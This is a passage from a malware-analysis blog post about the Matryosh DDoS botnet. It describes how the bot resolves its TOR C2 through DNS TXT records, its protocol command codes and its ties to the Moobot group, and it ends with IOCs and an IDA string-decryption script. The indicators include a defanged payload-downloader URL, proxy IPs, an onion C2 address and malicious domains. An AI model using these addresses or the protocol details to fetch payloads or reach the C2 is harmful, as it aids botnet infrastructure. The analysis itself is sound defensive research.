![taowa_step3](__GHOST_URL__/content/images/2021/01/taowa_step3.jpg)\n\n   ```\n   oc.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.245.53.58:9095\"\n   fe.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.27.82.186:9050\"\n   ```\n ### step 4\nDecrypt to get remote host C (onion.hiddenservice.xyz), request DNS TXT records from it, and get TOR C2 address.\n   ![taowa_step4](__GHOST_URL__/content/images/2021/01/taowa_step4.jpg)\n\n   ```\n   onion.hiddenservice.xyz. 1799\tIN\tTXT\t\"4qhemgahbjg4j6pt.onion\"\n   ```\nAt this point, all the basic information needed for C2 communication has been obtained, and Bot starts C2 communication.\n# C2 Communication\nTo communicate with C2, Bot first selects a TOR proxy at random and establishes a connection through the following codesnippet.\n![taowa.proxy](__GHOST_URL__/content/images/2021/01/taowa.proxy.jpg)\nThe **TOR C2, PORT** information is then sent to the TOR proxy that wants to establish communication, where the port is hard-coded ```31337```.\n![taowa_c2](__GHOST_URL__/content/images/2021/01/taowa_c2.jpg)\nIf the TOR proxy returns ```05 00 00 01 00 00 00 00 00 00```, the C2 connection is successful and subsequent communication can begin. The actual network traffic in the following figure clearly shows the above process.\n![taowa_pcap](__GHOST_URL__/content/images/2021/01/taowa_pcap.jpg)\nAfter sending the golive packet Bot starts waiting for C2 to give the instruction. The first byte of the instruction packet specifies the type of instruction.\n- Command code: 0x84 for heartbeat\n![taowa_beat](__GHOST_URL__/content/images/2021/01/taowa_beat.jpg)\n- Command code: 0x55 for uploads the group information of the Bot\n![taowa_reg](__GHOST_URL__/content/images/2021/01/taowa_reg.jpg)\n- Command code: non-0x55, non-0x84, DDoS attack\n![taowa_atk](__GHOST_URL__/content/images/2021/01/taowa_atk.jpg)\n# Relationship with Moobot group\nThe **Moobot group** is a fairly active botnet group that has been innovating in encryption algorithms and network communication. We exposed a new branch developed by this group, [LeetHozer](__GHOST_URL__/the-leethozer-botnet-en/), on April 27, 2020, and compared with Matryosh, the similarities between the two are reflected in the following 3 aspects.\n\n1.Using a model like TOR C2\n\n2.C2 port (31337) & attack method name is the same\n\n3.**C2 command format is highly similar**\n\nBased on these considerations, we speculate that Matryosh isthe new work of thisparent group.\n# Conclusion\nMatryosh's cryptographic design has some novelty, but still falls into the Mirai single-byte XOR pattern, which is why it is easily flagged by antivirus software as Mirai; the changes at the network communication level indicates that its authors wanted to implement a mechanism to protect C2 by downlinking the configuration from the cloud, doing this will bring some difficulties to static analysis or simple IOC simulator. \n\nHowever, the act of putting all remote hosts under the same SLD is not optimal, it might change and we will keep an eye on it.All the related domains have been blocked by our DNSmon system.\n# Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) or email to netlab at 360 dot cn.\n# IOC\n\nSample MD5\n\n```\nELF\n6d8a8772360034d811afd74721dbb261\n9e0734f658908139e99273f91871bdf6\nc96e333af964649bbc0060f436c64758\ne763fab020b7ad3e46a7d1d18cb85f66\n\nSCRIPT\n594f40a39e4f8f5324b3e198210ac7db\n1151cd05ee4d8e8c3266b888a9aea0f8\n93530c1b942293c0d5d6936820c6f6df\nb9d166b8e9972204ac0bbffda3f8eec6\n```\n\nURL\n\n```\nkk.hiddenservice.xyz\t\ner.hiddenservice.xyz\t\njy.hiddenservice.xyz\t\nfe.hiddenservice.xyz\t\nxf.hiddenservice.xyz\t\noc.hiddenservice.xyz\t\njb.hiddenservice.xyz\t\nai.hiddenservice.xyz\t\nbi.hiddenservice.xyz\t\nfg.hiddenservice.xyz\n\nhosts.hiddenservice.xyz\t\nonion.hiddenservice.xyz\t\n```\n\nC2\n\n```\n4qhemgahbjg4j6pt.onion：31337\n```\n\nProxy Ip\n\n```\n46.105.34.51:999\n139.99.239.154:9095\n139.99.134.95:9095\n198.27.82.186:9050\n188.165.233.121:9151\n198.245.53.58:9095\n51.83.186.134:9095\n139.99.45.195:9050\n51.195.91.193:9095\n147.135.208.13:9095\n```\n\nDownloader\n```\ni586 mips mipsel armv5l armv7l\nhxxp://199.19.226.25/nXejnFjen/{CPU ARCH}\n\n```\n##<a id=\"decrypt_str\">Appendix(IDA script)</a>\n```\nimport idc\nimport idaapi\nimport idautils\n\n\n# c96e333af964649bbc0060f436c64758\ndef find_function_arg(addr):\n    round = 0\n    while round < 2:\n        addr = idc.PrevHead(addr)\n        if GetMnem(addr) == \"mov\" and \"offset\" in GetOpnd(addr, 1):\n            return GetOperandValue(addr, 1)\n        if GetMnem(addr) == \"push\" and \"offset\" in GetOpnd(addr, 0):\n            return GetOperandValue(addr, 0)\n        round += 1\n\n    return 0\n\n\ndef get_string(addr):\n    out = []\n    while True:\n        if Byte(addr) != 0:\n            out.append(Byte(addr))\n        else:\n            break\n        addr += 1\n    return out\n\n\ndef descrypt(enc_lst):\n    msg_length = enc_lst[0]\n    xor_key1 = enc_lst[1]\n    group = enc_lst[2]\n\n    msg_lst = enc_lst[3:]\n    des_msg = []\n    for i in range(0, group):\n        xor_key2 = msg_lst[0]\n        group_len = msg_lst[1]\n        key = xor_key1 ^ xor_key2\n        for j in range(2, group_len + 2):\n            des_msg.append(chr(msg_lst[j] ^ key))\n        if len(des_msg) > msg_length:\n            des_msg = des_msg[0:msg_length]\n            break\n        msg_lst = msg_lst[group_len + 2:]\n    print(\"\".join(des_msg))\n\n\ndescrypt_func_ea = 0x080493E0\n\nrefsto_lst = []\nfor ref in CodeRefsTo(descrypt_func_ea, 1):\n    refsto_lst.append(ref)\n\nens_str_addr = []\nfor ea in refsto_lst:\n    addr = find_function_arg(ea)\n    if addr != 0:\n        ens_str_addr.append(addr)\n        # print(hex(addr))\n    else:\n        print(\"Missed arg at {}\".format(ea))\n\nfor ea in ens_str_addr:\n    ret = get_string(ea)\n    descrypt(ret)\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}